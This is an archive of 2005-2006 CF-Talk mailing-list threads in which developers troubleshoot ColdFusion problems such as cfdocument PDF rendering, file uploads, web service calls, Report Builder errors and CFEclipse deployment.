Thanks! This did the trick. Basically had to add a host entry to point to the local ip. -Original Message- From: Kris Jones [mailto:[EMAIL PROTECTED] Sent: Wednesday, September 27, 2006 6:51 AM To: CF-Talk Subject: Re: Cfdocument question Could be a networking issue. Ben Nadel blogged about this, and it has answered this question for us. Take a look: http://www.bennadel.com/blog/266-CFDocument-Errors-And-Resolving-DNS.htm Cheers, Kris I have a css file and an image file inside of the cfdocument tags. The pdf generates fine on most computers but there are a few computers that the css and the jpg do not come through and the pdf file looks like crap! I have no idea why it works on most computers most of the time but the css and the image file drops out sometimes. ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:254473 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Cfdocument question
Hi all, I have a weird problem w/ a pdf file that I'm generating. I have a css file and an image file inside of the cfdocument tags. The pdf generates fine on most computers but there are a few computers that the css and the jpg do not come through and the pdf file looks like crap! I have no idea why it works on most computers most of the time but the css and the image file drops out sometimes. Could it be a network issue? Seems like it happens mostly on wireless connection but not always. Thanks, Tim ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:254273 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Cfdocument question
I've tried different versions and even tried flashpaper. It is still inconsistent. -Original Message- From: Jon Clausen [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 26, 2006 11:42 AM To: CF-Talk Subject: Re: Cfdocument question If all of your CSS and images are embedded, I would suggest taking a look at the client viewers. Since this is happening on client computers and not on the server (if I'm understanding correctly), I would suspect an Acrobat issue on the client side. Are they all using the latest version of Acrobat (or Preview if they are on a Mac)? Acrobat Reader 5, especially, can be buggy when viewing newer PDF's. HTH, Jon On Sep 26, 2006, at 2:14 PM, Tim Do wrote: I have a weird problem w/ a pdf file that I'm generating. I have a css file and an image file inside of the cfdocument tags. The pdf generates fine on most computers but there are a few computers that the css and the jpg do not come through and the pdf file looks like crap! I have no idea why it works on most computers most of the time but the css and the image file drops out sometimes. Could it be a network issue? Seems like it happens mostly on wireless connection but not always. ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:254295 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Cfdocument question
Linked. -Original Message- From: Teddy Payne [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 26, 2006 11:32 AM To: CF-Talk Subject: Re: Cfdocument question Is the css linked or embeded? Teddy On 9/26/06, Tim Do [EMAIL PROTECTED] wrote: Hi all, I have a weird problem w/ a pdf file that I'm generating. I have a css file and an image file inside of the cfdocument tags. The pdf generates fine on most computers but there are a few computers that the css and the jpg do not come through and the pdf file looks like crap! I have no idea why it works on most computers most of the time but the css and the image file drops out sometimes. Could it be a network issue? Seems like it happens mostly on wireless connection but not always. Thanks, Tim ~| Introducing the Fusion Authority Quarterly Update. 80 pages of hard-hitting, up-to-date ColdFusion information by your peers, delivered to your door four times a year. http://www.fusionauthority.com/quarterly Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:254297 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
aba number lookup web service
Can anybody refer me to a webservice to pass in a aba number and return bank info? I've tried several but all seem to get errors of some sort. http://www.webservicex.net http://www.lyonsreg.com/products/ or is something wrong with my syntax?? cfinvoke webservice=http://www.webservicex.net/FedACH.asmx?WSDL; method=getACHByRoutingNumber returnvariable=returnedText cfinvokeargument name=RoutingNumber value=654357951 /cfinvoke (I also tried http://www.webservicex.net/getACHByRoutingNumber as the webservice) error: Could not generate stub objects for web service invocation. Name: http://www.webservicex.net/getACHByRoutingNumber. WSDL: http://www.webservicex.net/getACHByRoutingNumber. org.xml.sax.SAXException: Fatal Error: URI=null Line=11: The element type META must be terminated by the matching end-tag . It is recommended that you use a web browser to retrieve and examine the requested WSDL document for correctness. If the requested WSDL document can't be retrieved or it is dynamically generated, it is likely that the target web service has programming errors. Thanks, Tim ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:241375 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: aba number lookup web service
Thanks Alan! You rock! -Original Message- From: Alan Rother [mailto:[EMAIL PROTECTED] Sent: Wednesday, May 24, 2006 3:33 PM To: CF-Talk Subject: Re: aba number lookup web service Try this. cfinvoke webservice=http://www.webservicex.net/FedACH.asmx?wsdl; method=getACHByRoutingNumber cfinvokeargument name=routingNumber value=122101706/ cfinvokeargument name=getACHByRoutingNumberResult value=false/ cfinvokeargument name=fedACHLists value=variables.foo/ /cfinvoke The last argument is the return var for the object that is this webservice. Don't decalre the returnVariable in the cfinvoke tag. This method returns an object so you'll need to navigate through it to make it work. If you are just looking for the bank name, here is how you'd reach it. cfset foobar = variables.foo.getFedACHs().getFedACHData() cfset bankName = foobar[1].getAddress() HTH =] -- Alan Rother Macromedia Certified Advanced ColdFusion MX 7 Developer ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:241382 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Upload txt file
Hello All, I'm trying to do a simple upload of a text file but I'm getting: The MIME type of the uploaded file message/rfc822 was not accepted by the server. Only files of type *.txt can be uploaded. Verify that you are uploading a file of the appropriate type. plz help :) here is what I have: cffile action = upload fileField = abaFile destination = \\devone\insite\eft accept = *.txt nameconflict=makeunique thx! ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:241250 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Upload txt file
I've tried both..same result accept = text/plain,text/richtext And I have enctype=multipart/form-data -Original Message- From: Andy Matthews [mailto:[EMAIL PROTECTED] Sent: Tuesday, May 23, 2006 12:45 PM To: CF-Talk Subject: RE: Upload txt file Looks like you've got your accept attribute's value set incorrectly. http://www.techfeed.net/cfQuickDocs/?cffileh Instead of *.txt, it should be text/plain. !//-- andy matthews web developer certified advanced coldfusion programmer ICGLink, Inc. [EMAIL PROTECTED] 615.370.1530 x737 --//- -Original Message- From: Tim Do [mailto:[EMAIL PROTECTED] Sent: Tuesday, May 23, 2006 2:33 PM To: CF-Talk Subject: Upload txt file Hello All, I'm trying to do a simple upload of a text file but I'm getting: The MIME type of the uploaded file message/rfc822 was not accepted by the server. Only files of type *.txt can be uploaded. Verify that you are uploading a file of the appropriate type. plz help :) here is what I have: cffile action = upload fileField = abaFile destination = \\devone\insite\eft accept = *.txt nameconflict=makeunique thx! ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:241254 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
OT: js help
Hi, I'm trying to passing values from a popup back to the parent window. In the popup window, I have a select box (multiple). I want to pass the selected items back to the parent window but it is only passing back the first value select not all the values selected in the drop down. Here is what I have: script language=JavaScript type=text/javascript function popit() { var selObj = document.getElementById('select1'); var selObj2 = document.getElementById('select2'); var selIndex = selObj.selectedIndex; var selIndex2 = selObj2.selectedIndex; opener.document.getElementById(texta).innerHTML=selObj.options[selInde x].value; opener.document.getElementById(textb).innerHTML=selObj2.options[selInd ex2].value; //alert(selObj.options[selIndex].value); } /script form action=pop2.cfm method=post select name=select1 multiple size=3 option value=11 option value=22 option value=33 /select br select name=select2 option value=aa option value=bb option value=cc /select input type=button value=submit name=submit onclick=popit(); /form Thanks! ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:234118 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Max number of calculated fields?
Is there a maximum of 25 calculated fields in report builder? I'm getting this error when I go over 25: The report template E:\Inetpub\wwwroot\InSite\reports\occupancy\WeeklyVPDetail_New.cfr appears to be malformed or contain errors. The error that was encountered was: Context validation error for tag cffunction.The start tag must have a matching end tag. An explicit end tag can be provided by adding /cffunction. If the body of the tag is empty you can use the shortcut cffunction .../. Thanks, Tim ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:233655 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Borders in report builder
Anybody know how to add a border around a cell? The only styles that I see are background color, font color, and transparency. Thanks, Tim ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:233305 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Report builder error
Can anybody tell me what this means? This simple report works on our production server but not on our development. The report template E:\Inetpub\wwwroot\InSite\reports\occupancy\WeeklyVPDetail_New.cfr appears to be malformed or contain errors. The error that was encountered was: Unable to execute report decoding function: java.lang.UnsatisfiedLinkError: getReport The error occurred in E:\Inetpub\wwwroot\InSite\reports\occupancy\WeeklyVPDetail_New.cfm: line 1 1 : cfreport template=WeeklyVPDetail_New.cfr format=flashpaper 2 : 3 : Thanks, Tim ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:232754 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Interacting w/ skype
Hi, Has anyone interacted with skype using their new api to a cf application? I was asked by a client if this was possible. I would like to log basic user profile like name, address, phone # etc.. I would like to be able to log this info somehow. Also, would it be possible to use skype inside a cf app? Make a call, leave msgs, send text msg etc.. I've never used skype so sorry if this is a dumb question. Thanks, Tim ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:230636 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Getting logged off
Hi All, We have a training room that has 14 dummy terminals using different terminal services accounts to access the intranet. What I'm finding out is that users are getting logged off intermittenly. This issue only happens in that room. I'm not too sure on how these terminal service accounts work and how it may affect sessions. Could this be a possibility? Thoughts? Thanks, Tim ~| Discover CFTicket - The leading ColdFusion Help Desk and Trouble Ticket application http://www.houseoffusion.com/banners/view.cfm?bannerid=48 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:227961 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Scheduled Tasks Not Running
Could it be that it's timing out? -Original Message- From: Tim Claremont [mailto:[EMAIL PROTECTED] Sent: Friday, November 18, 2005 9:52 AM To: CF-Talk Subject: Re: Scheduled Tasks Not Running Yup. I just confirmed it again just now, and it is the same username and password. I restarted the service as suggested to ensure that the account was correct. Same result. Did you give the under admin tools: services: macromedia cfmx as Your site service your username and pwd? -Original Message- From: Tim Claremont [mailto:[EMAIL PROTECTED] Sent: Friday, November 18, 2005 9:22 AM To: CF-Talk Subject: Re: Scheduled Tasks Not Running I tried that. Using my own admin username and password it still throws a You are not authorized to view this page error, even though this is obvioulsy not the case. I have tried it with and without provided usernames and passwords, prefixing with the domain name, etc. There must be something missing here... ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:224672 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Cfeclipse File Upload
Hi All, I'm giving cfeclipse a shot, so far it seems awesome! I've been a long time studio/homesite user. I'm having difficulty in trying to deploy files. We're a small shop so we don't have builds. In homesite, I have a deployment tool, that uses VTOM scripts to move files. Something this simple, set root folder location and it will move files based on folder structure. I was wondering if there was an equivalent plugin or feature within cfeclipse that I'm not seeing. TIA, Tim ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:224395 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Cfeclipse File Upload
I tried downloading these but seems like its for ftp and my dev server isn't set up for ftp. I have a mapped drive to the dev/prod servers... I just need something like the Control-Shift-U for uploading the current file in dreamweaver. There's got to be something like that around right?? -Original Message- From: Barney Boisvert [mailto:[EMAIL PROTECTED] Sent: Wednesday, November 16, 2005 2:05 PM To: CF-Talk Subject: Re: Cfeclipse File Upload Not in CFEclipse - yet. But there are eclipse plugins that provide this. Here are a couple links: http://www.eclipse-plugins.info/eclipse/plugin_details.jsp?id=293 http://www.phpeclipse.de/tiki-index.php?page=FTP+and+WebDAV cheers, barneyb On 11/16/05, Tim Do [EMAIL PROTECTED] wrote: Hi All, I'm giving cfeclipse a shot, so far it seems awesome! I've been a long time studio/homesite user. I'm having difficulty in trying to deploy files. We're a small shop so we don't have builds. In homesite, I have a deployment tool, that uses VTOM scripts to move files. Something this simple, set root folder location and it will move files based on folder structure. I was wondering if there was an equivalent plugin or feature within cfeclipse that I'm not seeing. TIA, Tim -- Barney Boisvert [EMAIL PROTECTED] 360.319.6145 http://www.barneyb.com/ Got Gmail? I have 100 invites. ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:224441 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
cfform validation mx7
I'm trying to use cfform validation along with my own js validation. I read that in mx7 that if I have a onSubmit attribute with my own js validation in the form tag that the cfform validation will not work?? Is this true? Thanks, Tim ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:208269 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: cfform validation mx7
Just tried using onValidate instead of onSubmit and form validations are working fine now. Is this something in new cfmx7?? Do I have to go and look thru all my code for this?! -Original Message- From: Tim Do Sent: Wednesday, June 01, 2005 12:23 PM To: CF-Talk Subject: cfform validation mx7 I'm trying to use cfform validation along with my own js validation. I read that in mx7 that if I have a onSubmit attribute with my own js validation in the form tag that the cfform validation will not work?? Is this true? Thanks, Tim ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:208273 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
OT: using js to include files
Hi All, I'm trying to use js inside an html file to include an asp file. This is what I have so far: script language=JavaScript type=text/javascript // must be a fully qualified URL -- can be any type of file (html,jsp,asp,etc) include(http://192.200.1.37/Voyager50/Forms/LateCount.asp?tenant=+docu ment.Resident.HTENANT.value); /script I'm getting document.Resident.HTENANT.value is null or not an object error. Strange thing is, I'm using the same value elsewhere on this html file and not getting errors in those areas. Can somebody tell me what is wrong with this or is there another way to include files using js? Thx, Tim ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:207281 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: OT: using js to include files
Thx.. I changed the script to script language=JavaScript src=http://192.200.1.37/Voyager50/Forms/LateCount.asp?tenant=+document ..Resident.HTENANT.value);/script All is fine now... Thx for your help! -Original Message- From: S. Isaac Dealey [mailto:[EMAIL PROTECTED] Sent: Friday, May 20, 2005 9:33 AM To: CF-Talk Subject: Re: OT: using js to include files Hi All, I'm trying to use js inside an html file to include an asp file. This is what I have so far: script language=JavaScript type=text/javascript // must be a fully qualified URL -- can be any type of file (html,jsp,asp,etc) include(http://192.200.1.37/Voyager50/Forms/LateCount.asp ?tenant=+docu ment.Resident.HTENANT.value); /script I'm getting document.Resident.HTENANT.value is null or not an object error. Strange thing is, I'm using the same value elsewhere on this html file and not getting errors in those areas. Can somebody tell me what is wrong with this or is there another way to include files using js? I don't think it's a problem with the include() function (although it's not one I'm familiar with -- or likely to use). Although it looks like you want a form field value, in which case you should always use the forms collection when attempting to fetch the form, i.e. document.forms.Resident.HTENANT.value also make sure your form and input names are the same case and not name=resident or name=htENaNt. :) s. isaac dealey 954.522.6080 new epoch : isn't it time for a change? add features without fixtures with the onTap open source framework http://www.fusiontap.com http://coldfusion.sys-con.com/author/4806Dealey.htm ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:207301 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: How to create query results into a list
I'd just use the CF_ListCompare tag. -Original Message- From: Chris McCarthy [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 19, 2005 11:33 AM To: CF-Talk Subject: How to create query results into a list Hi guys, I've got a database column which is currently storing comma seperated values (i.e. 1,2,3,4 etc.). What I'm trying to do is compare each seperate value to another database column which also has seperated values (i.e. 7,8,9,10). I'm not sure how to parse those values so CF compares each individual one. Right now it seems like it's just comparing the first value, or maybe the whole combination but not going through each value in sequence to see what matches. My question is, do I have to pull the data from the columns, set up an array, use the ArrayToList function, then have it compare? Is it easier to just have the query filter it initially? If so, what is the best approach? Thanks! :) -Chris ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:203554 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
cfreport mx7 error msg
Can anybody tell me why I'm getting this error msg? cfreport template=CFAssetListing.cfr format=flashpaper query=#CFAssetListing# A License Exception has been thrown You tried to access a restricted feature for the Standard edition: CFREPORT thx, Tim ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:199904 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
A License Exception has been thrown.
Any idea what this means? Just came up on our dev machine this AM. (still running blackstone beta) A License Exception has been thrown. You tried to access the developer edition from a disallowed IP (192.200.8.85). The developer edition can only be accessed from 127.0.0.1 and two additional IP addresses. The additional IP addresses are: 192.168.57.3,192.168.10.3 Thanks, Tim ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:195900 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54